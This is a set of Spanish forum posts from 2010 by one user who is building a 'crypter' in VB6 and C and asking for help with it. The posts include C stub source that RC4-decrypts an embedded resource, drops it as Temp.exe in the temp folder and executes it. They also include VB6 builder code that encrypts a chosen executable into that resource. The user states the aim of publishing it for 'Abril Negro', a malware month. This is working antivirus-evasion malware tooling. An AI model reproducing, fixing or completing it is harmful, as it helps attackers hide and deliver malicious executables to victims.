|
81
|
Programación / Programación C/C++ / Problemas con un crypter en VB6/C
|
en: 20 Abril 2010, 13:53 pm
|
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error. El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6). El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro. Este es el code del stub en C (compilado con Visual C++ 6) : #pragma optimize("gsy", on) #pragma comment(linker, "/MERGE:.rdata=.data") #pragma comment(linker, "/MERGE:.reloc=.data") #pragma comment(linker, "/MERGE:.text=.data") #pragma comment(linker, "/ENTRY:main") #include <windows.h> LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen); void main() { HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA); DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes); MessageBoxA(0,"1","",0); LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size); LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH); MessageBoxA(0,"2","",0); HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); LPSTR xPass=&Buff[Size-11]; Buff=RC4(Buff,xPass,Size-11,10); MessageBoxA(0,"4","",0); GetTempPath(MAX_PATH,tFile); lstrcatA(tFile,"\\Temp.exe"); HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(hFile,Buff,Size,0,0); CloseHandle(hFile); ShellExecute(NULL,NULL,tFile,NULL,NULL,1); } LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen) { int i, j = 0, s[256]; DWORD dw; BYTE tmp; LPBYTE Buf = (LPBYTE)szBuf; LPBYTE Key = (LPBYTE)szKey; for(i = 0; i < 256; i++) { s[i] = i; } for(i = 0; i < 256; i++) { j = (j + s[i] + Key[i % dwKeyLen]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } for(dw = 0; dw < dwBufLen; dw++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; Buf[dw] ^= s[(s[i] + s[j]) % 256]; } return (LPSTR)Buf; }
Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =) Saludos! PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?
|
|
|
83
|
Programación / Programación Visual Basic / Problemas al comprimir datos.
|
en: 8 Abril 2010, 18:03 pm
|
Bueno estoy guiandome de un Tips de Leandro y de la MSDN, pero aun sigo teniendo problemas para comprimir los datos de una variable. Public Declare Function RtlGetCompressionWorkSpaceSize Lib "NTDLL" (ByVal flags As Integer, WorkSpaceSize As Long, UNKNOWN_PARAMETER As Long) As Long Public Declare Function RtlCompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, ByVal UNKNOWN_PARAMETER As Long, OutputSize As Long, ByVal WorkSpace As Long) As Long Public Declare Function RtlDecompressBuffer Lib "NTDLL" (ByVal flags As Integer, ByVal BuffUnCompressed As Long, ByVal UnCompSize As Long, ByVal BuffCompressed As Long, ByVal CompBuffSize As Long, OutputSize As Long) As Long Public Function Compress(Data As String) As String Dim lenCompress As Long Dim xWorkSpace As Long RtlGetCompressionWorkSpaceSize 2, xWorkSpace, 0 RtlCompressBuffer 2, VarPtr(Data), LenB(Data), VarPtr(Compress), LenB(Compress), 4096, lenCompress, xWorkSpace Debug.Print Len(Compress) End Function
Que puede ser? x) PD : Me crashea..
|
|
|
84
|
Seguridad Informática / Abril negro / Re: Abril Negro 2010
|
en: 1 Abril 2010, 16:54 pm
|
Me encanta este mes, aparte de que cumpla en este mes.. cada programador saca su lado mas malvado de dentro A ver si me animo y me doy prisa.. y publico algo lindo en C =P Saludos!
|
|
|
88
|
Programación / Programación Visual Basic / Re: Problemas con WriteFile & ReadFile..
|
en: 26 Marzo 2010, 23:11 pm
|
no es un reemplazo de codigo.
solo es en lugar de pasarle el strconv()
hacerle un: Lbound(xres), Ubound(xres) en lugar de sRes, Len(sRes)
teniendo mejor velocidad
P.D.: Es graciosa la forma de calcular el porcentaje.
Dulces Lunas!¡.
B0x tu y tus 'tikismikadas' A que mola mi calculo de porcentaje Bueno eso que me has dejado es para aumentar la velocidad tal.. pero para corregir los problemas que tengo con esas dos APIs? que es lo que me interesa realmente.
|
|
|
90
|
Programación / Programación Visual Basic / Problemas con WriteFile & ReadFile..
|
en: 26 Marzo 2010, 22:32 pm
|
Bueno me está pasando algo raro con estas dos API's.. el problema de WriteFile es que me escribe un archivo de 100MB cuando el contenido de la variable solo es de 8kb, y el problema de ReadFile es que no me mete los datos a la variable. Os dejo el source : API's : Public Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long
Public Function cFile(Path As String) xRes = LoadResData(101, "STUB") sRes = StrConv(xRes, vbUnicode) frmMain.lPorcent.Caption = "20%" hFile = CreateFile(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0) WriteFile hFile, sRes, Len(sRes), 0, 0 CloseHandle hFile frmMain.lPorcent.Caption = "30%" hFile = CreateFile(frmMain.txtFile.Text, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0) sFile = GetFileSize(hFile, 0) ReadFile hFile, Buff, sFile, 0, 0 CloseHandle hFile frmMain.lPorcent.Caption = "40%" Buff = RC4(Buff, frmMain.txtPass.Text) & frmMain.txtPass.Text frmMain.lPorcent.Caption = "90%" hRes = BeginUpdateResource(Path, vbTrue) UpdateResource hRes, "DATA", RT_RCDATA, 0, Buff, Len(Buff) EndUpdateResource hRes, vbFalse frmMain.lPorcent.Caption = "100% - Encrypted!" End Function
Estoy haciendo un crypter en VB6/C y decidí hacerlo todo con API's. Saludos!
|
|
|
|
|
|
|